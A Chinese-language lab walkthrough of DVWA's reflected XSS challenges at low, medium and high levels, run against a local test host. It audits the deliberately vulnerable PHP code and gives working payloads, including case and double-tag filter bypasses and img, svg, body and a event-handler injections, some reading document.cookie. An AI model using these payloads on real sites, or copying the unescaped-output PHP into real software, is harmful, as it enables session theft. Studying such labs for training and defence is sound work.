反射型 XSS(反射型跨站脚本) 是 XSS 的常见类型之一,核心特点是恶意代码通过 URL 参数 / 表单提交等方式传入服务端,服务端未过滤直接返回给客户端,浏览器解析后执行脚本,属于 "非持久化" 攻击(恶意代码不会存储在服务端)。
- 攻击流程 :
- 攻击者构造包含恶意脚本的 URL(或表单);
- 诱导用户点击 / 提交该请求;
- 服务端将恶意脚本 "反射" 到响应页面中返回;
- 浏览器解析响应页面时,执行恶意脚本。
- 核心特征 :
- 恶意代码不存储在服务端,仅在单次请求中 "路过" 服务端;
- 依赖用户主动触发(点击恶意 URL / 提交恶意表单);
- 抓包可在请求参数 和响应页面源码中同时看到恶意脚本(区别于 DOM 型 XSS)
| 类型 | 恶意代码存储位置 | 服务端参与度 | 攻击触发方式 |
|---|---|---|---|
| 存储型 XSS | 服务端数据库 / 文件 | 高 | 访问包含恶意代码的页面自动触发 |
| 反射型 XSS | URL 参数 / 请求体 | 中 | 诱导用户点击包含恶意代码的 URL |
| DOM 型 XSS | 客户端 DOM 树 | 无 | 浏览器解析页面时动态执行恶意脚本 |
low
1、代码审计
<?php
// 关闭浏览器的原生XSS防护机制(X-XSS-Protection)
// 参数设为0表示禁用:现代浏览器默认会检测疑似XSS的脚本并拦截,此配置让浏览器不拦截,确保恶意脚本能执行
header ("X-XSS-Protection: 0");
// 检查两个条件:1. GET请求中是否存在名为'name'的参数;2. 该参数的值不为空(!= NULL)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 注释:给终端用户的反馈(直接拼接用户输入并输出到页面)
// 核心漏洞点:未对$_GET['name']做任何过滤/转义,直接将用户输入拼接进HTML响应中
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
- 输入无过滤 :对用户可控的
name参数(来自 GET 请求)未做任何字符过滤、白名单限制,攻击者可随意传入包含 HTML/JS 代码的字符串; - 输出无转义 :直接用
echo将用户输入拼接进<pre>标签中,未使用htmlspecialchars等函数转义特殊字符(<、>、"、'),导致浏览器将用户输入解析为 HTML/JS 代码,而非纯文本。
2、
http://192.168.3.42/dvwa/vulnerabilities/xss_r/?name=<script>alert('Reflected XSS')</script>

窃取cookie
?name=<script>alert(document.cookie)</script>

medium
1、代码审计
<?php
// 关闭浏览器的原生XSS防护机制(X-XSS-Protection)
// 参数设为0:禁用浏览器自带的XSS检测拦截功能,确保恶意脚本(即使绕过过滤)能正常执行(DVWA测试平台特性)
header ("X-XSS-Protection: 0");
// 检查两个条件:1. GET请求中是否存在名为'name'的参数;2. 该参数的值不为空(!= NULL)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 注释:获取用户输入并处理
// 核心过滤逻辑:使用str_replace函数,将用户输入中的'<script>'字符串替换为空(仅过滤一次、区分大小写)
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// 注释:给终端用户的反馈(拼接处理后的用户输入并输出)
// 漏洞点:仅过滤了'<script>'标签,未对其他恶意标签/事件属性转义,直接拼接进HTML输出
echo "<pre>Hello {$name}</pre>";
}
?>
str_replace('<script>', '', $name)的过滤短板
- 仅过滤完整的
<script>字符串(区分大小写) ,存在 3 个关键漏洞:
- 大小写绕过 :攻击者可使用
<Script>、<SCRIPT>、<sCrIpT>等变形,绕过过滤(str_replace默认区分大小写);- 双写标签绕过 :构造
<sc<script>ript>,过滤后<script>被替换为空,剩余<script>,仍能触发脚本;- 不过滤闭合标签 :仅过滤
<script>,未过滤</script>,但实际攻击中甚至无需闭合标签(浏览器解析时会自动补全)。未对其他恶意输入做防护
- 过滤仅针对
<script>标签,对<img>、<a>、<svg>等带事件属性的标签无任何限制;- 例如攻击者构造
<img src=x onerror=alert(1)>,因不含<script>,会被直接输出到页面,浏览器解析时执行onerror事件中的脚本。输出无转义
- 即使过滤了
<script>,仍未使用htmlspecialchars等函数转义特殊字符(<、>、"、'),导致非<script>类的恶意标签能正常解析。
2、大小写绕过
http://192.168.3.42/dvwa/vulnerabilities/xss_r/?name=\<Script>alert('Medium XSS')</Script>

3、双写标签绕过
http://192.168.3.42/dvwa/vulnerabilities/xss_r/?name=<sc<script>ript>alert(1)</script>

4、事件标签绕过
http://192.168.3.42/dvwa/vulnerabilities/xss_r/?name=\<img src=1 οnerrοr=alert(document.cookie)>

high
1、代码审计
<?php
// 关闭浏览器的原生XSS防护机制(X-XSS-Protection)
// 参数设为0:禁用浏览器自带的XSS检测拦截,确保绕过过滤的恶意脚本能正常执行(DVWA测试平台特性)
header ("X-XSS-Protection: 0");
// 检查两个条件:1. GET请求中是否存在名为'name'的参数;2. 该参数的值不为空(!= NULL)
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 注释:获取用户输入并执行正则过滤
// 核心过滤逻辑:使用preg_replace函数(正则替换),彻底拦截<script>标签的所有变形
// 正则表达式拆解:
// /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
// - <:匹配标签起始符
// - (.*):匹配任意字符(0次或多次,贪婪模式),用于绕过双写、插入其他字符的变形
// - s(.*)c(.*)r(.*)i(.*)p(.*)t:按顺序匹配's'/'c'/'r'/'i'/'p'/'t'字母(不区分大小写)
// - i:修饰符,不区分大小写匹配
// 作用:过滤所有包含"<script"(无论大小写、中间插入任意字符)的字符串,替换为空
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// 注释:给终端用户的反馈(拼接过滤后的用户输入并输出)
// 漏洞点:仅过滤<script>相关标签,未对其他恶意标签/事件属性转义,直接拼接进HTML输出
echo "<pre>Hello {$name}</pre>";
}
?>
- 彻底破解
<script>标签的变形绕过:无论是大小写(<SCRIPT>)、双写(<sc<script>ript>)、插入字符(<s%00c%00ript>),只要包含 "<+s+c+r+i+p+t`" 的顺序组合(不区分大小写),都会被过滤;- 仅针对
<script>标签过滤,未覆盖其他可触发 XSS 的 HTML 标签(如<img>、<a>、<svg>、<body>等);- 未对用户输入的特殊字符(
<、>、"、')做任何转义,导致这些 "非脚本标签" 的恶意输入能被浏览器解析为有效 HTML/JS;
2、<img>标签onerror事件
http://192.168.3.42/dvwa/vulnerabilities/xss_r/?name=\<img src=xxx οnerrοr=alert('High_XSS')>

3、<a>标签onclick事件(需用户交互)
用户点击链接时触发脚本,窃取 Cookie。
?name=<a href=x οnclick=alert(document.cookie)>点击查看详情</a>

4、<svg>标签onload事件(无需交互)
<svg>标签加载时自动触发onload事件,兼容性比<img>更强(部分浏览器对<img>的onerror有轻微限制)。
?name=<svg οnlοad=alert('svg_bypass')>

5、<body>标签onload事件(覆盖页面):
页面加载时触发脚本,直接覆盖原有页面内容。
?name=<body οnlοad=alert('body_bypass')>
